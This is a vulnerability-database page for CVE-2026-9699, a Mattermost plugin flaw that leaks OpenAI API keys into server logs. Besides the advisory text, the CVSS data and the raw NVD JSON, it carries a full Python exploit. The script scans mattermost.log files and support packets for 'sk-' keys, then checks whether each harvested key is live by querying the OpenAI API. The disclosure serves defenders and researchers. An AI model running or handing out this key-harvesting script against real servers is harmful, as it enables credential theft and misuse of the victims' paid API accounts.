Security Vulnerability Report
中文
CVE-2026-9699 CVSS 6.8 MEDIUM

CVE-2026-9699

Published: 2026-06-26 15:16:56
Last Modified: 2026-06-26 16:16:37

Description

Mattermost Plugins versions <=11.6 10.18.11 11.3.6 11.6.5.0 fail to sanitize error responses from the OpenAI API before logging, which allows a user with access to server logs or support packets to obtain a valid or partially reconstructable OpenAI API key via inspection of mattermost.log entries generated during authentication failures. Mattermost Advisory ID: MMSA-2026-00609

CVSS Details

CVSS Score
6.8
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Mattermost Plugins <= 11.6
Mattermost Plugins 10.18.11
Mattermost Plugins 11.3.6
Mattermost Plugins 11.6.5.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2026-9699 - Mattermost Plugins OpenAI API Key Disclosure via Log Inspection # This PoC demonstrates how an attacker with high-privilege access to Mattermost # server logs can extract OpenAI API keys from unsanitized error responses. import re import sys import json import argparse def extract_api_keys_from_log(log_file_path): """ Extract OpenAI API keys from Mattermost server log file. The vulnerability causes API keys to be logged in error responses when authentication with OpenAI API fails. """ # OpenAI API keys typically start with "sk-" followed by alphanumeric chars api_key_pattern = re.compile(r'sk-[A-Za-z0-9\-_]{20,}') # Patterns that indicate OpenAI authentication failure in logs error_patterns = [ r'.*openai.*auth.*fail.*', r'.*openai.*invalid.*key.*', r'.*openai.*unauthorized.*', r'.*openai.*401.*', r'.*openai.*403.*', ] found_keys = set() try: with open(log_file_path, 'r', encoding='utf-8', errors='ignore') as f: for line_num, line in enumerate(f, 1): # Check if line contains OpenAI authentication error for pattern in error_patterns: if re.search(pattern, line, re.IGNORECASE): # Extract potential API keys from the error line matches = api_key_pattern.findall(line) for match in matches: found_keys.add(match) print(f"[+] Found potential API key at line {line_num}: {match[:10]}...") break except FileNotFoundError: print(f"[-] Log file not found: {log_file_path}") return [] except PermissionError: print(f"[-] Permission denied to read log file: {log_file_path}") return [] return list(found_keys) def extract_keys_from_support_packet(packet_path): """ Extract API keys from Mattermost support packet (tar.gz archive). Support packets contain compressed log files that may include unsanitized OpenAI API error responses. """ import tarfile import gzip import tempfile import os found_keys = set() api_key_pattern = re.compile(r'sk-[A-Za-z0-9\-_]{20,}') try: with tarfile.open(packet_path, 'r:gz') as tar: for member in tar.getmembers(): if member.isfile() and ('log' in member.name or 'mattermost.log' in member.name): f = tar.extractfile(member) if f: content = f.read().decode('utf-8', errors='ignore') matches = api_key_pattern.findall(content) for match in matches: found_keys.add(match) print(f"[+] Found API key in {member.name}: {match[:10]}...") except Exception as e: print(f"[-] Error processing support packet: {e}") return list(found_keys) def verify_api_key(api_key): """ Verify if extracted API key is valid by making a test request to OpenAI API. """ import urllib.request import urllib.error try: req = urllib.request.Request( 'https://api.openai.com/v1/models', headers={'Authorization': f'Bearer {api_key}'} ) with urllib.request.urlopen(req, timeout=10) as response: if response.status == 200: print(f"[+] API key is VALID: {api_key[:10]}...") return True except urllib.error.HTTPError as e: if e.code == 401: print(f"[-] API key is INVALID (401): {api_key[:10]}...") else: print(f"[?] Unexpected response ({e.code}): {api_key[:10]}...") except Exception as e: print(f"[?] Error verifying key: {e}") return False def main(): parser = argparse.ArgumentParser( description='CVE-2026-9699 - Mattermost OpenAI API Key Extractor from Logs' ) parser.add_argument('-l', '--log', help='Path to mattermost.log file') parser.add_argument('-p', '--packet', help='Path to Mattermost support packet (.tar.gz)') parser.add_argument('-v', '--verify', action='store_true', help='Verify extracted API keys') args = parser.parse_args() if not args.log and not args.packet: print("Usage: python3 cve_2026_9699.py -l <logfile> or -p <support_packet>") sys.exit(1) keys = [] if args.log: print(f"[*] Scanning log file: {args.log}") keys = extract_api_keys_from_log(args.log) if args.packet: print(f"[*] Scanning support packet: {args.packet}") keys.extend(extract_keys_from_support_packet(args.packet)) if keys: print(f"\n[+] Total unique API keys found: {len(keys)}") for i, key in enumerate(keys, 1): print(f" [{i}] {key[:15]}...{key[-4:]}") if args.verify: print("\n[*] Verifying extracted API keys...") for key in keys: verify_api_key(key) else: print("[-] No API keys found in the specified source.") if __name__ == '__main__': main() # Example usage: # python3 cve_2026_9699.py -l /var/log/mattermost/mattermost.log # python3 cve_2026_9699.py -p mattermost_support_packet.tar.gz -v # # Expected log entry pattern (vulnerable): # [ERROR] OpenAI authentication failed: {"error": {"message": "Incorrect API key provided: sk-proj-xxxx***", "type": "invalid_request_error"}} # # In the fixed version, this would be sanitized to: # [ERROR] OpenAI authentication failed: {"error": {"message": "Incorrect API key provided: sk-***REDACTED***", "type": "invalid_request_error"}}

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-9699", "sourceIdentifier": "[email protected]", "published": "2026-06-26T15:16:56.083", "lastModified": "2026-06-26T16:16:37.360", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Mattermost Plugins versions <=11.6 10.18.11 11.3.6 11.6.5.0 fail to sanitize error responses from the OpenAI API before logging, which allows a user with access to server logs or support packets to obtain a valid or partially reconstructable OpenAI API key via inspection of mattermost.log entries generated during authentication failures. Mattermost Advisory ID: MMSA-2026-00609"}], "affected": [{"source": "[email protected]", "affectedData": [{"vendor": "Mattermost", "product": "Mattermost", "defaultStatus": "unaffected", "versions": [{"version": "0", "lessThanOrEqual": "10.18.11", "versionType": "semver", "status": "affected"}, {"version": "0", "lessThanOrEqual": "11.3.6", "versionType": "semver", "status": "affected"}, {"version": "0", "lessThanOrEqual": "11.6.5", "versionType": "semver", "status": "affected"}, {"version": "11.7.0", "status": "unaffected"}, {"version": "10.11.19", "status": "unaffected"}, {"version": "11.6.4", "status": "unaffected"}, {"version": "11.5.7", "status": "unaffected"}]}]}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 4.0}], "ssvcV203": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "ssvcData": {"timestamp": "2026-06-26T15:40:45.502984Z", "id": "CVE-2026-9699", "options": [{"exploitation": "none"}, {"automatable": "no"}, {"technicalImpact": "partial"}], "role": "CISA Coordinator", "version": "2.0.3"}}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-532"}]}], "references": [{"url": "https://mattermost.com/security-updates", "source": "[email protected]"}]}}